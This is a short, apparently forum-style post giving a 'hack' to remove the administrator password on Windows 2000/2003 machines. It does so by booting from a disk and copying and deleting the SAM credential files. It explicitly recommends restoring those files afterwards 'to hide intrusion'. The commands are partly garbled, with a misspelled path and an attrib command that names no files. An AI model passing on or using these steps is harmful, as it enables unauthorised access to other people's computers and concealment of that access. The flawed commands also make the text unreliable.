I tried this on my Windows 2000 as well as 2003 here's the hack

NOTE: Requires a boot disk.

Get the command prompt and go to C:\winnt\sytem32\config\ and do
the following commands:
attrib -a -r -h
copy sam.* a:\
del Sam.*

reboot the computer. there should be no administrator password.
just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion
Enjoy!!!!